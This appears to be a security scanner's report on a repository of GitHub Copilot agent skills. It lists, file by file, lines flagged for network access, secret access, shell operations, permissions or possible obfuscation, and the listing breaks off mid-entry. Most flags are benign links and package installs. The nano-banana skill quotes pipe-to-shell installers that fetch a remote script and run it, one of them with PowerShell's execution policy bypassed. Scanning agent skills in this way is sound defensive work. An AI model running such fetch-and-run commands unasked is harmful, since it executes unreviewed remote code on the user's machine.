harness/github-copilot/plugins/creative-media-tooling/skills/game-engine/references/web-apis.md
- Network accessline 595
<!-- A simple SVG health bar --> <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg"> - Network accessline 596
<svg width="220" height="30" xmlns="http://www.w3.org/2000/svg"> - Network accessline 757
// Load and play a sound effect async function playSFX(url) { const response = await fetch(url); - Network accessline 758
async function playSFX(url) { const response = await fetch(url); const arrayBuffer = await response.arrayBuffer(); - Network accessline 759
const response = await fetch(url); - Network accessline 1219
- **Parallel asset processing**: Decode images, decompress data, or parse level files without blocking rendering. - **OffscreenCanvas**: Render to a canvas from within a worker, enabling parallel rendering pipelines. - **Non-blocking networ - Network accessline 1221
- **Non-blocking networking**: Perform `fetch()` or XHR calls in a worker to keep the game loop smooth. - Network accessline 1394
For new projects, the **Fetch API** (`fetch()`) is generally preferred over XHR. It provides a cleaner promise-based interface, supports streaming via `ReadableStream`, and integrates well with async/await. However, XHR remains relevant whe
harness/github-copilot/plugins/creative-media-tooling/skills/image-manipulation-image-magick/SKILL.md
- Dangerous shell operationline 78
echo " Ubuntu/Debian: sudo apt install imagemagick"
harness/github-copilot/plugins/creative-media-tooling/skills/latchshot-page-capture/SKILL.md
- Access to secretsline 9
[Credential-related source omitted] - Network accessline 21
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 27
| Request | Handle with Latchshot? | Rule | | --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | - Network accessline 28
| --- | --- | --- | | Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | | PNG, JPEG, or PDF output | Yes | Infer from `.png`, `.jpg`, `.jpeg`, or `.pdf`, or pass `--format`. | - Network accessline 29
| Public `http://` or `https://` page screenshot | Yes | Capture one binary artifact. | - Access to secretsline 41
[Credential-related source omitted] - Network accessline 44
node scripts/latchshot.mjs demo \ --url 'https://example.com' \ - Network accessline 45
--url 'https://example.com' \ - Network accessline 49
The demo is JPEG-only, does not use an account or render quota, allows three attempts per IP address per hour, and accepts only width, height, query confirmation, and explicit overwrite options. The public URL is still sent to Latchshot wit - Network accessline 62
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 63
--url 'https://example.com' \ - Network accessline 70
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 71
--url 'https://example.com' \ - Network accessline 80
node scripts/latchshot.mjs capture \ --url 'https://example.com' \ - Network accessline 81
--url 'https://example.com' \ - Access to secretsline 137
[Credential-related source omitted] - Network accessline 145
- [Latchshot service origin](https://latchshot.fly.dev) - Network accessline 146
- [Agent Skills setup documentation](https://latchshot.fly.dev/integrations.md#agent-skills)
harness/github-copilot/plugins/creative-media-tooling/skills/latchshot-page-capture/scripts/latchshot.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 9
const ORIGIN = 'https://latchshot.fly.dev'; - Access to secretsline 75
[Credential-related source omitted] - Network accessline 106
Examples: node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg - Network accessline 107
node scripts/latchshot.mjs demo --url https://example.com --output demo.jpg - Network accessline 108
node scripts/latchshot.mjs capture --url https://example.com --output page.png - Network accessline 109
node scripts/latchshot.mjs capture --url https://example.com --output page.pdf --paper A4 - Access to secretsline 192
[Credential-related source omitted] - Access to secretsline 194
[Credential-related source omitted]
harness/github-copilot/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/SKILL.md
- Access to secretsline 4
[Credential-related source omitted] - Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 26
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Network accessline 64
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Dangerous shell operationline 65
| `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral - Network accessline 65
| `uv: command not found` or not recognized | `uv` is not installed or the terminal has not reloaded PATH. | macOS/Linux: `curl -LsSf https://astral.sh/uv/install.sh | sh`. Windows: `powershell -ExecutionPolicy ByPass -c "irm https://astral - Network accessline 66
| `AuthenticationError` or HTTP 401 | Key is invalid, revoked, or has no credits. | Verify the key at `https://openrouter.ai/settings/keys`. | - Access to secretsline 88
[Credential-related source omitted] - Network accessline 97
- [uv installer for macOS/Linux](https://astral.sh/uv/install.sh) - Network accessline 98
- [uv installer for Windows](https://astral.sh/uv/install.ps1) - Network accessline 99
- [OpenRouter keys](https://openrouter.ai/settings/keys)
harness/github-copilot/plugins/creative-media-tooling/skills/nano-banana-pro-openrouter/scripts/generate_image.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 53
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 55
[Credential-related source omitted] - Possible obfuscationline 83
raw = base64.b64decode(encoded) - Network accessline 135
[Credential-related source omitted] - Access to secretsline 135
[Credential-related source omitted] - Network accessline 157
# https://openrouter.ai/docs/guides/overview/multimodal/image-generation#image-configuration-options
harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/SKILL.md
harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/references/download.md
- Dangerous shell operationline 26
sudo apt-get install pdftk - Dangerous shell operationline 32
sudo dnf install pdftk - Network accessline 37
PDFtk Server (pdftk) is not public domain software. It can be installed and used at no charge under its [GNU General Public License (GPL) Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). PDFtk uses th - Network accessline 45
[PDFtk Server Redistribution License (PDF)](https://pdflabs.onfastspring.com/pdftk-server) - Network accessline 49
[PDFtk Server Redistribution License](https://www.pdflabs.com/docs/pdftk-license/) - Network accessline 53
PDFtk Server can be compiled from its source code. PDFtk Server is known to compile and run on [Debian](https://packages.debian.org/search?keywords=pdftk), [Ubuntu Linux](https://packages.ubuntu.com/search?keywords=pdftk), [FreeBSD](https:/ - Network accessline 58
curl -LO https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-src.zip - Network accessline 62
Review the [pdftk license information](https://www.pdflabs.com/docs/pdftk-license/) in: `license_gpl_pdftk/readme.txt`. - Network accessline 75
PDFtk has been built using gcc/gcj/libgcj versions 3.4.5, 4.4.1, 4.5.0, and 4.6.3. PDFtk 1.4x fails to build on gcc 3.3.5 due to missing libgcj features. If you are using gcc 3.3 or older, try building [pdftk 1.12](https://www.pdflabs.com/t
harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/references/pdftk-man-page.md
- Network accessline 3
- **`pdftk` version 2.02** - Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes - Network accessline 4
- Check [version history](https://www.pdflabs.com/docs/pdftk-version-history/) for changes - Network accessline 5
- See [server manual](https://www.pdflabs.com/docs/pdftk-man-page/) for the latest documentation
harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/references/pdftk-server-license.md
- Network accessline 15
[PDFtk Server Redistribution License (PDF)](https://www.pdflabs.com/docs/pdftk-license/pdf_labs_pdftk_redist_lic_agreement_ver_2.0.pdf) - Network accessline 19
[Buy the PDFtk Server Redistribution License](https://pdflabs.onfastspring.com/pdftk-server) - Network accessline 23
PDFtk Server (pdftk) is not public domain software. It can be used at no charge under its GNU General Public License (GPL) Version 2. [Click here to read the complete text](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_licen
harness/github-copilot/plugins/creative-media-tooling/skills/pdftk-server/references/third-party-materials.md
- Network accessline 13
[Click to read the GNU General Public License Version 2.](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt) - Network accessline 15
Libgcj is part of GCC, so you can find its source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 25
[Click to read the GNU General Public License Version 3](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_3.0.txt). - Network accessline 27
[Click to read the GCC Runtime Library Exception Version 3.1](https://www.pdflabs.com/docs/pdftk-license/gcc_runtime_library_exception_3.1.txt). - Network accessline 29
Libgcc and libstdc++ are part of GCC, so you can find their source code in the GCC [source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 43
[Click to read the GNU General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_general_public_license_2.txt). - Network accessline 45
Classpath is part of GCC, so you can find its source code in the [GCC source code](https://gcc.gnu.org/gcc-4.5/). - Network accessline 51
Copyright (c) 2000-2008 The Legion Of The Bouncy Castle (http://www.bouncycastle.org) - Network accessline 59
Download the Bouncy Castle source code from: http://www.bouncycastle.org/. - Network accessline 67
[Click to read the GNU Library General Public License Version 2](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt). - Network accessline 69
The iText source code used in pdftk is slightly modified from its original version. This modified version is included with the [pdftk source code](https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/). - Network accessline 79
Download the MinGW runtime source code from: http://mingw.org/. - Network accessline 87
[Click to read the GNU Library General Public License](https://www.pdflabs.com/docs/pdftk-license/gnu_lgpl_license_2.txt). - Network accessline 89
Download the libiconv source code from: https://ftp.gnu.org/pub/gnu/libiconv/ - Network accessline 95
http://www.apache.org/licenses/LICENSE-2.0 - Network accessline 99
[Click to read the Apache License Version 2.0](https://www.pdflabs.com/docs/pdftk-license/apache_license_2.txt). - Network accessline 101
[Click to read the Apache Batik NOTICE file](https://www.pdflabs.com/docs/pdftk-license/apache_batik_NOTICE.txt). - Network accessline 103
Download the Apache Batik source code from: http://xmlgraphics.apache.org/batik/.
harness/github-copilot/plugins/creative-media-tooling/skills/resemble-detect/LICENSE
harness/github-copilot/plugins/creative-media-tooling/skills/resemble-detect/SKILL.md
- Network accessline 5
license: Apache-2.0 metadata: compatibility: Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection. - Network accessline 6
metadata: compatibility: Requires a Resemble AI API key from https://app.resemble.ai set as RESEMBLE_API_KEY. All media must be accessible through public HTTPS URLs except text detection. --- - Network accessline 7
[Credential-related source omitted] - Access to secretsline 7
[Credential-related source omitted] - Network accessline 24
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Network accessline 25
- Base docs URL: <https://docs.resemble.ai/welcome>. - Access to secretsline 26
[Credential-related source omitted] - Network accessline 71
{ "url": "https://example.com/suspect.mp4", - Network accessline 72
"url": "https://example.com/suspect.mp4", - Access to secretsline 148
[Credential-related source omitted] - Network accessline 161
[Credential-related source omitted] - Network accessline 204
- [Resemble AI dashboard](https://app.resemble.ai) - Network accessline 205
- [Resemble documentation](https://docs.resemble.ai/welcome)
harness/github-copilot/plugins/creative-media-tooling/skills/resemble-detect/references/api-reference.md
- Network accessline 7
- **Base URL**: `https://docs.resemble.ai/welcome` - Access to secretsline 8
[Credential-related source omitted] - Network accessline 19
{ "url": "https://example.com/media.mp4", - Network accessline 20
"url": "https://example.com/media.mp4", - Network accessline 55
"consistency": "0.91", "aggregated_score": "0.92", "image": "https://{example-url}" - Network accessline 56
"aggregated_score": "0.92", "image": "https://{example-url}" } - Network accessline 57
"image": "https://{example-url}" - Network accessline 70
"label": "fake", "score": 0.87, "image": "https://{example-url}", - Network accessline 71
"score": 0.87, "image": "https://{example-url}", "ifl": { "score": 0.82, "heatmap": "https://{example-url}" }, - Network accessline 72
"image": "https://{example-url}", - Network accessline 73
"ifl": { "score": 0.82, "heatmap": "https://{example-url}" }, - Network accessline 105
{ "url": "https://example.com/audio.mp3", "json": true } - Network accessline 175
{ "url": "https://example.com/image.png", - Network accessline 176
"url": "https://example.com/image.png", - Network accessline 195
{ "url": "https://example.com/suspect-image.png" } - Network accessline 217
{ "audio_url": "https://example.com/known-speaker.wav", - Network accessline 218
"audio_url": "https://example.com/known-speaker.wav", - Network accessline 226
{ "audio_url": "https://example.com/unknown-speaker.wav", - Network accessline 227
"audio_url": "https://example.com/unknown-speaker.wav",
harness/github-copilot/plugins/creative-media-tooling/skills/rhino3d-scripts/SKILL.md
- Access to secretsline 213
[Credential-related source omitted] - Network accessline 263
- [RhinoScript landing](https://docs.mcneel.com/rhino/8/help/en-us/information/rhinoscripting.htm) - Network accessline 264
- [Developer hub](https://developer.rhino3d.com/) - Network accessline 265
- [RhinoCommon API index](https://mcneel.github.io/rhinocommon-api-docs/api/RhinoCommon/html/R_Project_RhinoCommon.htm) - Network accessline 266
- [Example scripts repo](https://github.com/mcneel/rhino-developer-samples/tree/8/rhinoscript)
harness/github-copilot/plugins/creative-media-tooling/skills/rhino3d-scripts/references/macros-and-loading.md
- Access to secretsline 118
[Credential-related source omitted]
harness/github-copilot/plugins/creative-media-tooling/skills/slang-shader-engineer/references/language-reference.md
- Network accessline 3
**Source:** [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository") - Network accessline 4
**Official Docs:** [Official Slang Shader Online Documentation](https://shader-slang.com/slang/user-guide/ "Slang Shader Online documentation") - Network accessline 5
**Playground:** [Official Slang Shader Sandbox](https://shader-slang.com/slang-playground)
harness/github-copilot/plugins/creative-media-tooling/skills/slang-shader-engineer/references/slang-documentation-full.md
- Network accessline 3
Source: [Official Slang Shader Repository](https://github.com/shader-slang/slang "Slang Shader repository") - Network accessline 1311
git clone https://github.com/shader-slang/slang --recursive - Network accessline 1347
# Install and activate Emscripten git clone https://github.com/emscripten-core/emsdk.git - Network accessline 1348
git clone https://github.com/emscripten-core/emsdk.git - Network accessline 1479
Source: [Slang Shader repository docs](https://github.com/shader-slang/slang/tree/master/docs)
harness/github-copilot/plugins/creative-media-tooling/skills/transloadit-media-processing/SKILL.md
- Network accessline 8
license: "MIT" metadata: compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI." - Network accessline 9
metadata: compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI." --- - Network accessline 10
compatibility: "Requires a free Transloadit account (https://transloadit.com/signup). Uses the @transloadit/mcp-server MCP server or the @transloadit/node CLI." - Network accessline 58
Get your API credentials at https://transloadit.com/c/-/api-credentials - Network accessline 116
"robot": "/image/resize", "use": "resized", "watermark_url": "https://example.com/logo.png", - Network accessline 117
"use": "resized", "watermark_url": "https://example.com/logo.png", "watermark_position": "bottom-right", - Network accessline 118
"watermark_url": "https://example.com/logo.png", - Network accessline 146
"imported": { "robot": "/http/import", "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] - Network accessline 147
"robot": "/http/import", "url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] }, - Network accessline 148
"url": ["https://example.com/clip1.mp3", "https://example.com/clip2.mp3"] - Network accessline 187
- **Assembly**: A single processing job. Created via `create_assembly` (MCP) or `assemblies create` (CLI). - **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **R - Network accessline 188
- **Template**: A reusable set of steps stored on Transloadit. Created via `create_template` (MCP) or `templates create` (CLI). - **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.co - Network accessline 189
- **Robot**: A processing unit (e.g., `/video/encode`, `/image/resize`). See full list at https://transloadit.com/docs/transcoding/
harness/github-copilot/plugins/csharp-dotnet-development/skills/csharp-mstest/SKILL.md
- Network accessline 76
| Conditional execution | MSTest 3.10+ supports `[OSCondition(OperatingSystems.Windows)]`, Linux/MacOS combinations, `ConditionMode.Exclude`, `[CICondition]`, and `[CICondition(ConditionMode.Exclude)]`. | | Parallelization | At assembly lev - Network accessline 78
| Work items | Use `[WorkItem(12345)]` for Azure DevOps and `[GitHubWorkItem("https://github.com/owner/repo/issues/42")]` for GitHub issues; associations flow into test results for CI/CD traceability. | - Network accessline 123
- [MSTest TestContext documentation](https://learn.microsoft.com/dotnet/core/testing/unit-testing-mstest-writing-tests-testcontext) - Network accessline 124
- [Example GitHub work item URL](https://github.com/owner/repo/issues/42)
harness/github-copilot/plugins/csharp-dotnet-development/skills/dotnet-upgrade/SKILL.md
- Network accessline 23
- Prefer incremental upgrades with rollback checkpoints over broad unreviewable rewrites. - Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://l - Network accessline 24
- Verify Microsoft's support policy and the installed upgrade workflow before selecting tools or targets. - The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09 - Network accessline 25
- The [Upgrade Assistant overview](https://learn.microsoft.com/en-us/dotnet/core/porting/upgrade-assistant-overview), verified 2026-09-15, marks .NET Upgrade Assistant deprecated. Prefer the documented [GitHub Copilot upgrade workflow](http - Network accessline 26
- The [.NET support policy](https://dotnet.microsoft.com/en-us/platform/support/policy/dotnet-core), verified 2026-09-15, lists .NET 10 as active LTS. Recheck at execution time; a preview or the highest installed SDK is not automatically th
harness/github-copilot/plugins/data-engineering/skills/datanalysis-credit-risk/references/analysis.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/data-engineering/skills/datanalysis-credit-risk/references/func.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/data-engineering/skills/datanalysis-credit-risk/scripts/example.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/data-engineering/skills/pinecone-rag/SKILL.md
harness/github-copilot/plugins/data-engineering/skills/snowflake-semanticview/SKILL.md
- Network accessline 130
- [Snowflake CLI installation](https://docs.snowflake.com/en/developer-guide/snowflake-cli/installation/installation) - Network accessline 131
- [Configure Snowflake CLI connections](https://docs.snowflake.com/en/developer-guide/snowflake-cli/connecting/configure-connections#add-a-connection) - Network accessline 132
- [CREATE SEMANTIC VIEW](https://docs.snowflake.com/en/sql-reference/sql/create-semantic-view) - Network accessline 133
- [COMMENT command](https://docs.snowflake.com/en/sql-reference/sql/comment) - Network accessline 134
- [Querying a semantic view](https://docs.snowflake.com/en/user-guide/views-semantic/querying#querying-a-semantic-view)
harness/github-copilot/plugins/data-engineering/skills/sql-server-table-reconciliation/SKILL.md
- Access to secretsline 86
[Credential-related source omitted]
harness/github-copilot/plugins/data-engineering/skills/sql-server-table-reconciliation/scripts/reconcile.py
harness/github-copilot/plugins/dataverse-sdk-for-python/skills/dataverse-python-usecase-builder/SKILL.md
- Access to secretsline 116
[Credential-related source omitted]
harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator/SKILL.md
- Network accessline 458
- [Draw.io VS Code extension](https://marketplace.visualstudio.com/items?itemName=hediet.vscode-drawio)
harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/diagram-authoring/skills/draw-io-diagram-generator/scripts/validate-drawio.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/SKILL.md
- Network accessline 21
- Require a clear description of what should be visualized, including key entities, steps, concepts, relationships, and flow. - If the request has too many elements, propose multiple diagrams before generating a crowded file. - Save output - Network accessline 23
- Save output as `<descriptive-name>.excalidraw`; users can open it at https://excalidraw.com by drag-and-drop, File → Open, or the Excalidraw VS Code extension. - Network accessline 41
Generate complete JSON with `type: "excalidraw"`, `version: 2`, `source: "https://excalidraw.com"`, an `elements` array, `appState.viewBackgroundColor: "#ffffff"`, `appState.gridSize: 20`, and `files: {}`. - Network accessline 45
"type": "excalidraw", "version": 2, "source": "https://excalidraw.com", - Network accessline 46
"version": 2, "source": "https://excalidraw.com", "elements": [], - Network accessline 47
"source": "https://excalidraw.com", - Network accessline 182
### To view 1. Visit https://excalidraw.com - Network accessline 183
1. Visit https://excalidraw.com - Network accessline 200
- [Excalidraw](https://excalidraw.com)
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/references/excalidraw-schema.md
- Network accessline 9
type: "excalidraw"; version: number; // Always 2 source: string; // "https://excalidraw.com" - Network accessline 10
version: number; // Always 2 source: string; // "https://excalidraw.com" elements: ExcalidrawElement[]; - Network accessline 11
source: string; // "https://excalidraw.com" - Network accessline 306
"type": "excalidraw", "version": 2, "source": "https://excalidraw.com", - Network accessline 307
"version": 2, "source": "https://excalidraw.com", "elements": [ - Network accessline 308
"source": "https://excalidraw.com",
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/references/icon-libraries.md
- Network accessline 20
1. Visit https://libraries.excalidraw.com/ 2. Search for "[AWS Architecture Icons/etc.]" and download the .excalidrawlib file - Network accessline 41
**Step 2: Download Library ** - Visit: https://libraries.excalidraw.com/ - Network accessline 42
- Visit: https://libraries.excalidraw.com/ - Search for your desired icon set (e.g., "AWS Architecture Icons") - Click download to get the `.excalidrawlib` file - Network accessline 271
- This workflow works with any valid `.excalidrawlib` file you provide. - Examples of library categories you may find on https://libraries.excalidraw.com/: - Network accessline 272
- Examples of library categories you may find on https://libraries.excalidraw.com/:
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/README.md
- Network accessline 27
2. **Download and place library file**: - Visit: https://libraries.excalidraw.com/ - Network accessline 28
- Visit: https://libraries.excalidraw.com/ - Search for "AWS Architecture Icons" and download the `.excalidrawlib` file - Rename it to match the directory name: `aws-architecture-icons.excalidrawlib` - Network accessline 70
1. Download desired Excalidraw libraries from https://libraries.excalidraw.com/ - Network accessline 77
- Examples found on https://libraries.excalidraw.com/ may include cloud/service icon sets.
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/add-arrow.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/add-icon-to-diagram.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/scripts/split-excalidraw-library.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/business-flow-swimlane-template.excalidraw
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/class-diagram-template.excalidraw
- Network accessline 2
"type": "excalidraw", "version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", - Network accessline 3
"version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", "elements": [ - Network accessline 4
"source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/data-flow-diagram-template.excalidraw
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/er-diagram-template.excalidraw
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/flowchart-template.excalidraw
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/mindmap-template.excalidraw
- Network accessline 2
"type": "excalidraw", "version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", - Network accessline 3
"version": 2, "source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor", "elements": [ - Network accessline 4
"source": "https://marketplace.visualstudio.com/items?itemName=pomdtr.excalidraw-editor",
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/relationship-template.excalidraw
harness/github-copilot/plugins/diagram-authoring/skills/excalidraw-diagram-generator/templates/sequence-diagram-template.excalidraw
harness/github-copilot/plugins/diagram-authoring/skills/plantuml-ascii/SKILL.md
- Broad permissionsline 1
Bash, Write, Read - Dangerous shell operationline 44
sudo apt-get install plantuml # Ubuntu/Debian - Dangerous shell operationline 45
sudo yum install plantuml # RHEL/CentOS - Network accessline 47
# Or download JAR directly wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar - Network accessline 48
wget https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar - Dangerous shell operationline 352
- [ ] Installation blockers name the missing command and offer `brew install plantuml`, `sudo apt-get install plantuml`, `sudo yum install plantuml`, or `java -jar plantuml.jar`. - Network accessline 356
- [PlantUML release JAR example](https://github.com/plantuml/plantuml/releases/download/v1.2024.0/plantuml-1.2024.0.jar)
harness/github-copilot/plugins/dotnet-desktop-development/skills/msstore-cli/SKILL.md
- Network accessline 37
Use the Microsoft Store package at `https://www.microsoft.com/store/apps/9P53PC5S0PHJ` or manual releases at `https://aka.ms/msstoredevcli/releases` when WinGet is not appropriate. - Network accessline 41
1. Go to `https://learn.microsoft.com/en-us/partner-center/` and open Partner Center. - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Network accessline 139
- [Microsoft Store Developer CLI Documentation](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/overview) - Network accessline 140
- [CLI Commands Reference](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/commands) - Network accessline 141
- [GitHub Repository](https://github.com/microsoft/msstore-cli) - Network accessline 142
- [Partner Center API](https://learn.microsoft.com/windows/uwp/monetize/using-windows-store-services) - Network accessline 143
- [App Submission API](https://learn.microsoft.com/windows/uwp/monetize/create-and-manage-submissions-using-windows-store-services) - Network accessline 144
- [Package Flights Overview](https://learn.microsoft.com/windows/uwp/publish/package-flights) - Network accessline 145
- [Gradual Package Rollout](https://learn.microsoft.com/windows/uwp/publish/gradual-package-rollout) - Network accessline 146
- [Partner Center](https://learn.microsoft.com/en-us/partner-center/) - Network accessline 147
- [Microsoft Store package](https://www.microsoft.com/store/apps/9P53PC5S0PHJ) - Network accessline 148
- [Manual releases](https://aka.ms/msstoredevcli/releases)
harness/github-copilot/plugins/dotnet-desktop-development/skills/msstore-cli/references/commands-and-workflows.md
- Access to secretsline 46
[Credential-related source omitted] - Network accessline 232
# Initialize PWA msstore init https://contoso.com --output ./pwa-package - Network accessline 233
msstore init https://contoso.com --output ./pwa-package - Access to secretsline 401
[Credential-related source omitted] - Access to secretsline 498
[Credential-related source omitted]
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/SKILL.md
- Network accessline 240
- [Dependency injection in .NET](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection) - Network accessline 241
- [Dependency injection usage](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection-usage) - Network accessline 242
- [MVVM Toolkit Ioc](https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ioc) - Network accessline 243
- [Generic Host](https://learn.microsoft.com/en-us/dotnet/core/extensions/generic-host) - Network accessline 244
- [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder)
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit-di/references/dependency-injection.md
- Network accessline 52
> On WPF and Windows Forms, integrate the host lifetime with the > application lifetime — see > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder). - Network accessline 54
> [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit-messenger/SKILL.md
- Network accessline 302
- Messenger docs: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/messenger> - Network accessline 303
- `WeakReferenceMessenger` API: <https://learn.microsoft.com/en-us/dotnet/api/communitytoolkit.mvvm.messaging.weakreferencemessenger> - Network accessline 304
- Source: <https://github.com/CommunityToolkit/dotnet>
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit/SKILL.md
- Network accessline 277
- Toolkit overview: https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ - Network accessline 278
- WinUI MVVM Toolkit tutorial: https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro - Network accessline 279
- Source: https://github.com/CommunityToolkit/dotnet - Network accessline 280
- Samples: https://github.com/CommunityToolkit/MVVM-Samples
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit/references/end-to-end-walkthrough.md
harness/github-copilot/plugins/dotnet-desktop-development/skills/mvvm-toolkit/references/troubleshooting.md
- Network accessline 20
Search the full table at: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 21
<https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 208
- All `MVVMTK0xxx` errors: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 209
<https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/> - Network accessline 210
- Source: <https://github.com/CommunityToolkit/dotnet> - Network accessline 211
- Sample app: <https://aka.ms/mvvmtoolkit/samples>
harness/github-copilot/plugins/dotnet-desktop-development/skills/winmd-api-search/SKILL.md
- Network accessline 31
- **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available. - Network accessline 116
| Namespace prefix | Documentation base URL | |-----------------|----------------------| | `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` | - Network accessline 117
